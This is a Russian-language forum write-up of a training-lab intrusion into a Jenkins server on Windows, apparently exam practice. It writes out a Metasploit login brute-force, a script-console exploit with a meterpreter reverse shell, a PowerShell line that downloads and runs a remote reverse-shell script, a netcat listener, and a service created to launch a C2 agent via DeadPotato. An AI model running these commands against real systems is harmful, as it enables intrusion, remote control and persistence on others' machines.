Спойлер
Лабораторную я буду использовать от codeby.net
Переходим сразу к делу. У меня не так много времени осталось до сдачи экзамен по АД. Поэтому многие моменты буду упускать о которых я говорил в предыдущих статьях.
Просканили сетку, нашли веб приложение
Не удалось прогрузить медиа
Запускаем сканнер nuclei, посмотрим найдет ли он какую нибудь уязвимость или хотя бы версию приложения Jenkins.
Jenkins предназначен для [B]создания и тестирования разработки продукта[/B], что всегда делает его более простым для инженеров, чтобы включить изменения в проект. Кроме того, это позволяет вам непремедать передать свой продукт, координируя с бесчисленными тестирования и организационных инноваций.Не удалось прогрузить медиа
Получаем немало полезной информации
DomainName: DOM21.LOCAL
OSVersion: 10.0.17763","
NetBIOSComputerName: APPSERVER","
NetBIOSDomainName: DOM21","
DNSComputerNamen: APPSERVER.DOM21.LOCAL","
DNSComputerName: APPSERVER.DOM21.LOCAL","
ForestName: DOM21.LOCAL
Windows Server 2019, Version 1809
http://10.121.0.20:8080/whoAmI/ ["2.462.2"]
Не удалось прогрузить медиа
nuclei - это автоматический сканнер, он просканил веб приложение, пофаззил директории, опредилил версию (спарсил из кода странички), просканил порт 445 и оттуда извлек много полезной инфы касаемо домена и OS.
Не удалось прогрузить медиа
Пытался найти CVE под данную версию нихрена не нашел толкового.
Не удалось прогрузить медиа
Значит будем брутить форму авторизации.
https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/http у метасплоита есть много модулей для скана веб, под jenkins тоже есть.
Брутим форму авторизации через metasploit
Не удалось прогрузить медиа
Code:
msfconsole use auxiliary/scanner/http/jenkins_login
set RHOST 10.121.0.20
set PASS_FILE /home/kali/word.txt
set USERNAME admin
set TARGETURI /
Получаем сессию через metasploit
Не удалось прогрузить медиа
msfconsole use exploit/multi/http/jenkins_script_console show targets - выбираем windows если выбран linux set payload windows/x64/meterpreter/reverse_tcp - поскольку jenkins на windows сервере, то выбираем payload для винды. set RPORT 8080 set RHOSTS 10.121.0.20 (айпи jenkins) set targeturi / set username admin set password Qwerty11! set LHOST 10.0.0.22 (наш айпи) runГрузим агента C2 и получаем сессию
upload /home/kali/Documents/tools/123.exe
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Повышаем привилегии до уровня системы
DeadPotato — это утилита повышения привилегий Windows из семейства эксплойтов Potato, использующая право SeImpersonate для получения привилегий SYSTEM.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Просто опция -shell не отдала нам нормальную сессию из-за этого мы не смогли запустить c2, как и любой другой софт. Значит сделаем иначе.
Получаем нормальный интерактивный шелл
stty raw -echo; (stty size; cat) | nc -lvnp 4422 - настраиваем лисенер на линуX
Code:
powershell iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/antonioCoco/ConPtyShell/refs/heads/master/Invoke-ConPtyShell.ps1')); Invoke-ConPtyShell ip 4422
Создаем службу, которая запустит наш C2
.\DeadPotato-NET4.exe -cmd "sc create UpdateServicets19 binPath= "c:\windows\tasks\123.exe" start= auto"где 123.exe - это наш c2 агент
UpdateServicets19 - наш сервис
.\DeadPotato-NET4.exe -cmd "sc start UpdateServicets19"Не удалось прогрузить медиа
Не удалось прогрузить медиа
Получена сессия Системы)
Далее спустя 10-15 секунд она перестала работать. Думал это проблема на стороне сервера и нужно закрепляться. Оказалось достаточно было запустить еще раз c2 агент из под системы которая доступна 10-15 секунд
Не удалось прогрузить медиа
Теперь все работает-))) А что делать дальше я расскажу в следующей части. Я решил делить райтапы на несколько частей так проще вам будет воспринимать информацию.
👍59
🔥8
😁14
😮11
💯6
LIMB